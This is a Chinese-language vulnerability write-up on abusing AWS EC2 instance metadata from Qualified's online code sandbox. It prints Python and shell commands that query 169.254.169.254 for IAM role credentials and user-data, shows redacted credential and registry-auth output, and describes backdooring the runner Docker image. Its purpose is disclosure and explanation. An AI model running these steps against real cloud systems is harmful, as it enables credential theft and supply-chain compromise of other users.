利用SSRF漏洞濫用AWS元數據服務
寫在前面
最近在研究在 Docker 容器中執行不受信任的 Python 代碼會出現什么反應。在研究過程中我測試了幾個在線代碼執行引擎,以了解它們對各種攻擊的反應。在此過程總,我在Qualified開發的代碼執行引擎中發現了幾個有趣的漏洞。
Qualified 被廣泛使用,包括CodeWars 或InterviewCake等網站。能夠運行代碼與網絡訪問,且在 Amazon Web Services 中運行。
漏洞細節
如果您瀏覽 InterviewCake 的留言頁面,您會在頁面底部找到一個小區域,您可以在其中輸入和執行代碼。

我們可以使用以下 Python 代碼來運行任何 bash 命令:
os.system( "命令" )
簡單挖掘后,我們可以看到每次運行時主機名都會發生變化,并且 init進程在以下控制組下運行:
9:perf_event:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 8:memory:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 7:hugetlb:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341 ...
根據上述查到的信息,可以推斷:代碼很大可能是在Docker 容器中運行。這些容器似乎可以訪問 Internet,因此我們可以輕松地檢查它們的公共 IP 是什么,例如使用非常方便的 IfConfig.co服務。
相關命令如下:
import osos.system("curl ifconfig.co")
如果我們進行反向 DNS 查找,我們可以看到這個 IP 屬于 AWS EC2:
$ nslookup 107.20.17.162Non-authoritative answer:162.17.20.107.in-addr.arpa name = ec2-107-20-17-162.compute-1.amazonaws.com.
如果不了解AWS EC2,可以把它看作是一項類似于 DigitalOcean 的服務,可讓您在云中生成虛擬機。
利用過程
AWS EC2 有一個稱為 實例元數據服務(官方文檔)的功能。這使任何 EC2 實例都可以訪問在 169.254.169.254 上運行的 REST API,該 API 返回有關實例本身的數據。一些示例包括實例名稱、實例映像 (AMI) ID 和一堆其他有趣的東西。
由于我們的代碼似乎在 EC2 實例上運行(或者更具體地說,在 EC2 實例上的 Docker 容器中),它可以訪問此 API。當輸入下述惡意代碼時,觀察一下返回情況:
import os
def get_endpoint(endpoint): os.system("curl http:/169.254.169.254" + endpoint) print()
print("[*] AMI id")get_endpoint("/latest/meta-data/ami-id")
print("[*] Security credentials")get_endpoint("/latest/meta-data/iam/security-credentials/")
print("[*] User script")get_endpoint("/latest/user-data/")
輸出如下:
[*] AMI idami-246cc332 [*] Security credentialsecsInstanceRole [*] User scriptaws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.configaws s3 cp s3://ecs-conf/docker.json /home/ec2-user/.docker/config.jsonaws s3 cp s3://ecs-conf/cloudwatch.credentials /etc/cloudwatch.credentials...echo "pulling latest runner image"docker pull codewars/runner-server:latest...nrsysmond-config --set license_key=999b5f6[...]ac
簡單解析一下:
- AMI id
這是主機使用的標識符 AMI(亞馬遜機器映像)。(此處似乎是一個私人的,沒有利用價值。)
- Security credentials
這是附加到機器的 IAM 角色列表。IAM(代表身份訪問管理)是 AWS 服務,允許您管理用戶、角色和權限。我們在這里看到這個機器被添加了一個角色 ecsInstanceRole,因此可以使用元數據 API 訪問該角色的憑據。
這是一種允許您將角色附加到 機器而不是將 AWS API 密鑰硬編碼到應用程序代碼中的機制。我們可以查詢 API 以獲取關聯的憑據:
get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole")
反饋如下:
{ "Code" : "Success", "LastUpdated" : "2017-03-26T09:59:42Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIAIR[redacted]XQ", "SecretAccessKey" : "42oRmJ[redacted]K2IRR", "Token" : "FQoDYXdzEOv//////[redacted]", "Expiration" : "2017-03-26T16:29:16Z"}
使用這些憑證,應用程序(或攻擊者)可以使用 AWS API 執行角色 ecsInstanceRole 允許的任何操作。
注:這里ECS代表EC2 Container Service。它(還)是另一項 AWS 服務,可讓您輕松地在云中運行 Docker 容器,并抽象出它們的運行方式和運行方式。
當我們深入研究AWS文檔,我們很容易發現 ecsInstanceRole是一個默認的 IAM 角色,并附有以下權限:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "ecs:CreateCluster", "ecs:DeregisterContainerInstance", "ecs:DiscoverPollEndpoint", "ecs:Poll", "ecs:RegisterContainerInstance", "ecs:StartTelemetrySession", "ecs:Submit*", "ecr:GetAuthorizationToken", "ecr:BatchCheckLayerAvailability", "ecr:GetDownloadUrlForLayer", "ecr:BatchGetImage", "logs:CreateLogStream", "logs:PutLogEvents" ], "Resource": "*" } ]}
因此,這允許我們做很多有趣的事情,包括創建 ECS 集群、從集群中刪除 EC2 實例、寫入應用程序的日志等。
- User script
此端點返回一個用戶定義的腳本,每次首次啟動新的 EC2 實例時都會運行該腳本。此腳本通常用于基本配置,例如更新包、運行服務,并且顯然有時用于存儲敏感信息(此方式不推薦)。
腳本核心部分如下:
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config...echo "pulling latest runner image"docker pull codewars/runner-server:latest...nrsysmond-config --set license_key=999b5f6[...redacted...]a
淺淺解析一下:
最后一行泄露了 NewRelic 許可證密鑰。
嘗試查看配置文件:
root@kali:~# aws s3 cp s3://ecs-conf/ecs.config ecs.configdownload: s3://ecs-conf/ecs.config to ./ecs.configroot@kali:~# cat ecs.config
ECS_ENGINE_AUTH_TYPE=dockercfgECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"deploy@[...redacted...].co"}}
注意:
第一個命令是從 ecs-conf S3 存儲桶下載配置文件。使用 AWS CLI 工具,我們注意到即使無法列出存儲桶的內容,文件ecs.config 甚至是可公開訪問的。
結果解析:
auth參數是一個 base-64 編碼的字符串,它解碼為 codewarsdeploy :somepassword (密碼已被編輯)并允許我們登錄到 Qualified! 的私有 Docker 注冊表。
總結:
這意味著我們可以檢索 Docker 鏡像codewars/runner-server,查看里面有什么,在其中包含一個后門/任何惡意軟件,然后將其寫入注冊表。
然后,每當有人在 InterviewCake 上提交解決方案,在 CodeWars 上提出挑戰等情境下,都會在 Qualified 的代碼執行引擎上進行一次代碼執行時,我們的惡意代碼便會運行。